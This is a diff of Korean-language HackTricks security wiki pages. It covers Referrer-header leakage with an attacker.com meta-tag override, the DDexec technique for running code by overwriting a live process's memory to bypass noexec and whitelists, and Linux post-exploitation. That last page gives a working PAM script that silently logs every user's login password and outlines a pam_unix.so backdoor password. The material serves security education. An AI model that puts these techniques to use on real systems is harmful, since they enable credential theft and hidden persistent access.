* 해킹 팁을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Referrer 헤더 및 정책
|
||||
|
||||
Referrer는 브라우저가 이전에 방문한 페이지를 나타내는 헤더입니다.
|
||||
|
||||
## 노출된 민감한 정보
|
||||
## 민감한 정보 노출
|
||||
|
||||
웹 페이지 내에서 어떤 시점에서든 GET 요청 매개변수에 민감한 정보가 위치하고 있거나, 페이지에 외부 소스로의 링크가 포함되어 있거나, 공격자가 사용자가 공격자가 제어하는 URL을 방문하도록 만들거나 제안(사회 공학)할 수 있다면, 최신 GET 요청 내에서 민감한 정보를 유출할 수 있습니다.
|
||||
웹 페이지 내에서 어떤 시점에서든 GET 요청 매개변수에 민감한 정보가 위치하고 있거나, 페이지에 외부 소스로 연결이 포함되어 있거나 공격자가 사용자가 공격자가 제어하는 URL을 방문하도록 만들거나 제안할 수 있는 경우(사회 공학), 최신 GET 요청 내에 민감한 정보를 유출할 수 있습니다.
|
||||
|
||||
## 완화 방법
|
||||
## 완화
|
||||
|
||||
브라우저가 다른 웹 애플리케이션으로 민감한 정보를 전송하지 않도록 **Referrer 정책**을 따르도록 설정할 수 있습니다:
|
||||
브라우저가 다른 웹 응용 프로그램으로 민감한 정보를 보내지 않도록 할 수 있는 **Referrer-policy**를 따르도록 할 수 있습니다:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
|
@ -36,26 +37,27 @@ Referrer-Policy: unsafe-url
|
|||
```
|
||||
## 대응 방안
|
||||
|
||||
HTML 메타 태그를 사용하여 이 규칙을 무시할 수 있습니다 (공격자는 HTML 삽입을 악용해야 함):
|
||||
HTML 메타 태그를 사용하여 이 규칙을 재정의할 수 있습니다 (공격자는 HTML 삽입을 악용해야 함):
|
||||
```markup
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## 방어
|
||||
|
||||
URL의 GET 매개변수나 경로에는 민감한 데이터를 절대로 넣지 마십시오.
|
||||
URL의 GET 매개변수 또는 경로에 민감한 데이터를 절대 넣지 마십시오.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# DDexec / EverythingExec
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Context
|
||||
|
||||
리눅스에서 프로그램을 실행하려면 파일로 존재해야하며, 파일 시스템 계층 구조를 통해 어떤 방식으로든 접근 가능해야합니다 (`execve()`가 작동하는 방식입니다). 이 파일은 디스크나 RAM (tmpfs, memfd)에 있을 수 있지만 파일 경로가 필요합니다. 이로 인해 리눅스 시스템에서 실행되는 내용을 쉽게 제어할 수 있으며, 위협이나 공격자의 도구를 감지하거나 그들이 자신의 것을 실행하려는 것을 방지하는 것이 쉬워집니다 (예: 권한이 없는 사용자가 실행 가능한 파일을 어디에든 놓지 못하도록 함).
|
||||
리눅스에서 프로그램을 실행하려면 파일로 존재해야 하며 파일 시스템 계층 구조를 통해 어떤 방식으로든 접근 가능해야 합니다 (`execve()`가 작동하는 방식입니다). 이 파일은 디스크에 있을 수도 있고 ram (tmpfs, memfd)에 있을 수도 있지만 파일 경로가 필요합니다. 이는 리눅스 시스템에서 실행되는 것을 제어하기 매우 쉽게 만들었으며 위협이나 공격자의 도구를 감지하거나 그들이 자신들의 것을 실행하려고 시도하는 것을 방지하는 것이 쉽게 만들어졌습니다 (_예: 권한이 없는 사용자가 실행 가능한 파일을 어디에든 놓지 못하도록 함).
|
||||
|
||||
하지만 이 기술은 이 모든 것을 바꿀 수 있습니다. 원하는 프로세스를 시작할 수 없다면... **이미 존재하는 프로세스를 탈취하세요**.
|
||||
그러나 이 기술은 이 모든 것을 바꿀 것입니다. 원하는 프로세스를 시작할 수 없다면... **이미 존재하는 하나를 탈취**하세요.
|
||||
|
||||
이 기술을 사용하면 **읽기 전용, noexec, 파일 이름 화이트리스트, 해시 화이트리스트**와 같은 일반적인 보호 기법을 우회할 수 있습니다.
|
||||
이 기술을 사용하면 **읽기 전용, noexec, 파일 이름 화이트리스트, 해시 화이트리스트와 같은 일반적인 보호 기술을 우회**할 수 있습니다.
|
||||
|
||||
## Dependencies
|
||||
|
||||
최종 스크립트는 다음 도구에 종속되어 작동합니다. 공격하는 시스템에서 이 도구에 액세스할 수 있어야 합니다 (기본적으로 모든 곳에서 찾을 수 있습니다).
|
||||
최종 스크립트는 다음 도구에 의존하여 작동합니다. 공격 중인 시스템에서 이 도구들에 액세스할 수 있어야 합니다 (기본적으로 모든 곳에서 찾을 수 있습니다):
|
||||
```
|
||||
dd
|
||||
bash | zsh | ash (busybox)
|
||||
|
@ -40,71 +41,70 @@ base64
|
|||
```
|
||||
## 기술
|
||||
|
||||
프로세스의 메모리를 임의로 수정할 수 있다면 해당 프로세스를 제어할 수 있습니다. 이미 존재하는 프로세스를 탈취하고 다른 프로그램으로 대체하는 데 사용할 수 있습니다. 이를 위해 `ptrace()` 시스콜(시스콜 실행 권한이 있거나 시스템에 gdb가 있는 경우) 또는 더 흥미로운 방법으로 `/proc/$pid/mem`에 쓰기를 할 수 있습니다.
|
||||
프로세스의 메모리를 임의로 수정할 수 있다면 해당 프로세스를 인계할 수 있습니다. 이미 존재하는 프로세스를 탈취하고 다른 프로그램으로 대체하는 데 사용할 수 있습니다. 이를 위해 `ptrace()` 시스템 호출을 사용하거나 더 흥미로운 방법으로 `/proc/$pid/mem`에 쓰기를 통해 이를 달성할 수 있습니다.
|
||||
|
||||
`/proc/$pid/mem` 파일은 프로세스의 전체 주소 공간과 일대일 매핑입니다(예: x86-64에서 `0x0000000000000000`에서 `0x7ffffffffffff000`까지). 따라서 오프셋 `x`에서 이 파일을 읽거나 쓰는 것은 가상 주소 `x`에서 내용을 읽거나 수정하는 것과 동일합니다.
|
||||
파일 `/proc/$pid/mem`은 프로세스의 전체 주소 공간과 일대일 매핑입니다 (예: x86-64에서 `0x0000000000000000`부터 `0x7ffffffffffff000`까지). 이는 파일에서 오프셋 `x`로 읽거나 쓰는 것이 가상 주소 `x`에서 내용을 읽거나 수정하는 것과 동일하다는 것을 의미합니다.
|
||||
|
||||
이제 우리는 다음 네 가지 기본적인 문제를 해결해야 합니다:
|
||||
이제 우리가 직면해야 할 네 가지 기본 문제가 있습니다:
|
||||
|
||||
* 일반적으로 루트와 파일의 프로그램 소유자만 수정할 수 있습니다.
|
||||
* 일반적으로 루트 및 파일 소유자만 수정할 수 있습니다.
|
||||
* ASLR.
|
||||
* 프로그램의 주소 공간에 매핑되지 않은 주소로 읽거나 쓰려고 하면 I/O 오류가 발생합니다.
|
||||
* 프로그램의 주소 공간에 매핑되지 않은 주소로 읽거나 쓰려고하면 I/O 오류가 발생합니다.
|
||||
|
||||
이러한 문제에는 완벽하지 않지만 좋은 해결책이 있습니다:
|
||||
이러한 문제에는 완벽하지는 않지만 좋은 해결책이 있습니다:
|
||||
|
||||
* 대부분의 쉘 인터프리터는 자식 프로세스에서 상속될 파일 디스크립터를 생성할 수 있습니다. 우리는 쓰기 권한이 있는 쉘의 `mem` 파일을 가리키는 fd를 생성할 수 있습니다. 따라서 해당 fd를 사용하는 자식 프로세스는 쉘의 메모리를 수정할 수 있습니다.
|
||||
* ASLR은 문제가 아닙니다. procfs의 쉘의 `maps` 파일이나 다른 파일을 사용하여 프로세스의 주소 공간에 대한 정보를 얻을 수 있습니다.
|
||||
* 따라서 파일 위로 `lseek()`를 수행해야 합니다. 쉘에서는 악명 높은 `dd`를 사용하지 않는 한 이 작업을 수행할 수 없습니다.
|
||||
* 대부분의 쉘 인터프리터는 자식 프로세스에서 상속될 파일 디스크립터를 생성하는 것을 허용합니다. 쉘의 메모리를 수정할 수 있는 fd를 가리키는 fd를 만들 수 있습니다.
|
||||
* ASLR은 문제가 아닙니다. 프로세스의 주소 공간에 대한 정보를 얻기 위해 쉘의 `maps` 파일이나 procfs의 다른 파일을 확인할 수 있습니다.
|
||||
* 따라서 파일 위로 `lseek()`해야 합니다. 쉘에서는 악명 높은 `dd`를 사용하지 않으면 이 작업을 수행할 수 없습니다.
|
||||
|
||||
### 자세한 내용
|
||||
### 자세히
|
||||
|
||||
단계는 비교적 간단하며 이해하기 위해 특별한 전문 지식이 필요하지 않습니다:
|
||||
단계는 비교적 쉽고 이해하기 위해 전문 지식이 필요하지 않습니다:
|
||||
|
||||
* 실행하려는 이진 파일과 로더를 파싱하여 필요한 매핑을 찾습니다. 그런 다음, 간단히 말해서 `execve()` 호출 시 커널이 수행하는 단계와 거의 동일한 작업을 수행할 "쉘" 코드를 작성합니다.
|
||||
* 실행하려는 이진 파일 및 로더를 구문 분석하여 필요한 매핑을 찾습니다. 그런 다음 `execve()` 호출 시 커널이 수행하는 단계와 크게 유사한 작업을 수행할 "쉘"코드를 작성합니다.
|
||||
* 해당 매핑을 생성합니다.
|
||||
* 이진 파일을 해당 매핑에 읽습니다.
|
||||
* 바이너리를 읽어들입니다.
|
||||
* 권한을 설정합니다.
|
||||
* 마지막으로 프로그램의 인수로 스택을 초기화하고 로더가 필요로 하는 보조 벡터를 배치합니다.
|
||||
* 로더로 이동하여 나머지 작업을 수행하게 합니다(프로그램이 필요로 하는 라이브러리를 로드합니다).
|
||||
* `syscall` 파일에서 시스콜 실행 후 프로세스가 반환될 주소를 얻습니다.
|
||||
* 해당 위치(실행 가능한 위치)를 우리의 쉘 코드로 덮어씁니다(`mem`을 통해 쓸 수 없는 페이지를 수정할 수 있습니다).
|
||||
* 실행하려는 프로그램을 프로세스의 stdin으로 전달합니다(해당 "쉘" 코드에서 `read()`될 것입니다).
|
||||
* 이 시점에서 프로그램을 위해 필요한 라이브러리를 로드하고 해당 프로그램으로 이동하는 것은 로더에 달려 있습니다.
|
||||
* 프로그램의 인수로 스택을 초기화하고 로더가 필요로 하는 보조 벡터를 배치합니다.
|
||||
* 로더로 이동하여 나머지 작업을 수행합니다 (프로그램이 필요로 하는 라이브러리를 로드).
|
||||
* 프로세스가 실행하는 시스템 호출 후 반환할 주소를 `syscall` 파일에서 얻습니다.
|
||||
* 해당 위치를 덮어씁니다. 이 위치는 실행 가능하며 `mem`을 통해 쓰기 불가능한 페이지를 수정할 수 있습니다.
|
||||
* 실행하려는 프로그램을 프로세스의 stdin으로 전달합니다 ("쉘"코드에 의해 `read()`될 것입니다).
|
||||
* 이 시점에서 프로그램에 필요한 라이브러리를로드하고 실행하는 것은 로더에 달려 있습니다.
|
||||
|
||||
**[https://github.com/arget13/DDexec](https://github.com/arget13/DDexec)에서 도구를 확인하세요.**
|
||||
**도구를 확인하세요** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
|
||||
## EverythingExec
|
||||
|
||||
`dd`에는 여러 대안이 있습니다. 그 중 하나인 `tail`은 현재 `mem` 파일을 `lseek()`하는 데 사용되는 기본 프로그램입니다(`dd`를 사용하는 유일한 목적이었습니다). 해당 대안은 다음과 같습니다:
|
||||
`dd`에 대한 여러 대안이 있으며, 그 중 하나인 `tail`은 현재 `mem` 파일을 통해 `lseek()`하는 데 사용되는 기본 프로그램입니다 (`dd`를 사용하는 유일한 목적이었습니다). 해당 대안은 다음과 같습니다:
|
||||
```bash
|
||||
tail
|
||||
hexdump
|
||||
cmp
|
||||
xxd
|
||||
```
|
||||
변수 `SEEKER`를 설정하여 사용할 seeker를 변경할 수 있습니다. 예를 들어,
|
||||
변수 `SEEKER`를 설정하여 사용할 seeker를 변경할 수 있습니다. _예시:_
|
||||
```bash
|
||||
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
다른 유효한 seeker를 스크립트에 구현하지 않았다면 `SEEKER_ARGS` 변수를 설정하여 사용할 수 있습니다:
|
||||
만약 스크립트에 구현되지 않은 다른 유효한 seeker를 발견하면 `SEEKER_ARGS` 변수를 설정하여 사용할 수 있습니다:
|
||||
```bash
|
||||
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
이것을 차단하십시오, EDRs.
|
||||
|
||||
## 참고 자료
|
||||
* [https://github.com/arget13/DDexec](https://github.com/arget13/DDexec)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
# Linux 사후 침투
|
||||
# 리눅스 사후 침투
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PAM을 사용하여 로그온 비밀번호 스니핑하기
|
||||
## PAM을 사용하여 로그온 암호 스니핑
|
||||
|
||||
각 사용자가 로그인할 때 사용하는 비밀번호를 기록하기 위해 PAM 모듈을 구성해보겠습니다. PAM이 무엇인지 모르는 경우 다음을 확인하세요:
|
||||
각 사용자가 로그인할 때 사용하는 암호를 기록하기 위해 PAM 모듈을 구성해 봅시다. PAM이 무엇인지 모르는 경우:
|
||||
|
||||
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**자세한 내용은 [원본 게시물](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)을 참조하세요**. 이것은 요약일 뿐입니다:
|
||||
**자세한 내용은 [원본 게시물](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)을 확인하세요**. 이것은 간략한 요약입니다:
|
||||
|
||||
**기법 개요:**
|
||||
Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증을 관리하는 유연성을 제공합니다. 이들은 로그인 프로세스를 사용자 정의하여 보안을 강화할 수 있지만 잘못 사용될 경우 위험을 가질 수도 있습니다. 이 요약에서는 PAM을 사용하여 로그인 자격 증명을 캡처하는 기술과 완화 전략을 설명합니다.
|
||||
**기술 개요:**
|
||||
Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증을 관리하는 유연성을 제공합니다. 로그인 프로세스를 사용자 정의하여 보안을 강화할 수 있지만 오용될 경우 위험을 초래할 수도 있습니다. 이 요약은 PAM을 사용하여 로그인 자격 증명을 캡처하는 기술과 완화 전략을 개요합니다.
|
||||
|
||||
**자격 증명 캡처:**
|
||||
- `toomanysecrets.sh`라는 bash 스크립트가 작성되어 로그인 시도를 기록하고, 날짜, 사용자 이름 (`$PAM_USER`), 비밀번호 (stdin을 통해), 원격 호스트 IP (`$PAM_RHOST`)를 `/var/log/toomanysecrets.log`에 기록합니다.
|
||||
- 스크립트는 실행 가능하게 만들어지고, `pam_exec.so` 모듈을 사용하여 PAM 구성 (`common-auth`)에 통합되며, 스크립트에 대한 인증 토큰을 조용히 실행하고 노출하는 옵션을 가지고 있습니다.
|
||||
- 이 접근 방식은 침투된 Linux 호스트가 은밀하게 자격 증명을 기록하는 방법을 보여줍니다.
|
||||
- `toomanysecrets.sh`라는 bash 스크립트가 작성되어 로그인 시도를 기록하고, 날짜, 사용자 이름(`$PAM_USER`), 암호 (stdin을 통해), 원격 호스트 IP(`$PAM_RHOST`)를 `/var/log/toomanysecrets.log`에 기록합니다.
|
||||
- 스크립트를 실행 가능하게 만들고, `pam_exec.so` 모듈을 사용하여 PAM 구성(`common-auth`)에 조용히 실행되도록하고 스크립트에 인증 토큰을 노출하는 옵션을 추가합니다.
|
||||
- 이 접근 방식은 침해당한 Linux 호스트가 암호를 은밀하게 기록하는 방법을 보여줍니다.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
|
@ -40,38 +41,25 @@ sudo nano /etc/pam.d/common-auth
|
|||
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
||||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### PAM에 백도어 설치하기
|
||||
### PAM에 백도어 설치
|
||||
|
||||
**자세한 내용은 [원본 게시물](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)을 확인하세요**. 이것은 간략한 요약입니다:
|
||||
**자세한 내용은 [원본 게시물](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**을 확인하십시오. 이것은 간략한 요약입니다:
|
||||
|
||||
Pluggable Authentication Module (PAM)은 Linux에서 사용되는 사용자 인증 시스템입니다. 이는 **사용자 이름**, **비밀번호**, **서비스**라는 세 가지 주요 개념을 기반으로 작동합니다. 각 서비스의 구성 파일은 `/etc/pam.d/` 디렉토리에 위치하며, 공유 라이브러리가 인증을 처리합니다.
|
||||
Pluggable Authentication Module (PAM)은 Linux에서 사용되는 시스템으로 사용자 인증에 사용됩니다. **사용자 이름**, **암호**, **서비스** 세 가지 주요 개념에 작동합니다. 각 서비스의 구성 파일은 `/etc/pam.d/` 디렉토리에 있으며, 공유 라이브러리가 인증을 처리합니다.
|
||||
|
||||
**목표**: PAM을 수정하여 실제 사용자 비밀번호를 우회하고 특정 비밀번호로 인증을 허용합니다. 특히, 대부분의 서비스에서 비밀번호 확인을 위해 사용되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 초점을 맞춥니다.
|
||||
**목표**: PAM을 수정하여 특정 암호로 인증을 허용하고 실제 사용자 암호를 우회합니다. 이는 주로 대부분의 서비스에서 암호 확인을 위해 사용되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 초점을 맞춥니다.
|
||||
|
||||
### `pam_unix.so` 수정 단계:
|
||||
|
||||
1. `common-auth` 파일에서 **인증 지시문**을 찾습니다:
|
||||
- 사용자의 비밀번호를 확인하는 책임이 있는 줄이 `pam_unix.so`를 호출합니다.
|
||||
1. **`common-auth` 파일에서 인증 지시문 찾기**:
|
||||
- 사용자의 암호를 확인하는 책임이 있는 줄이 `pam_unix.so`를 호출합니다.
|
||||
2. **소스 코드 수정**:
|
||||
- `pam_unix_auth.c` 소스 파일에 조건문을 추가하여 미리 정의된 비밀번호를 사용하면 액세스를 허용하고, 그렇지 않으면 일반적인 인증 프로세스를 진행합니다.
|
||||
3. 수정된 `pam_unix.so` 라이브러리를 적절한 디렉토리에 **재컴파일 및 교체**합니다.
|
||||
- `pam_unix_auth.c` 소스 파일에 조건문을 추가하여 미리 정의된 암호를 사용하면 액세스를 허용하고, 그렇지 않으면 일반적인 인증 프로세스를 진행합니다.
|
||||
3. **수정된 `pam_unix.so` 라이브러리 다시 컴파일 및 교체**:
|
||||
- 적절한 디렉토리에 수정된 `pam_unix.so` 라이브러리를 다시 컴파일하고 교체합니다.
|
||||
4. **테스트**:
|
||||
- 미리 정의된 비밀번호로 다양한 서비스 (로그인, ssh, sudo, su, 스크린세이버)에 액세스가 허용되지만, 일반적인 인증 프로세스는 영향을 받지 않습니다.
|
||||
- 미리 정의된 암호로 다양한 서비스(로그인, ssh, sudo, su, 스크린 세이버)에 액세스가 허용되지만, 일반적인 인증 프로세스는 영향을 받지 않습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)를 사용하여 이 과정을 자동화할 수 있습니다.
|
||||
[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)를 사용하여 이 프로세스를 자동화할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
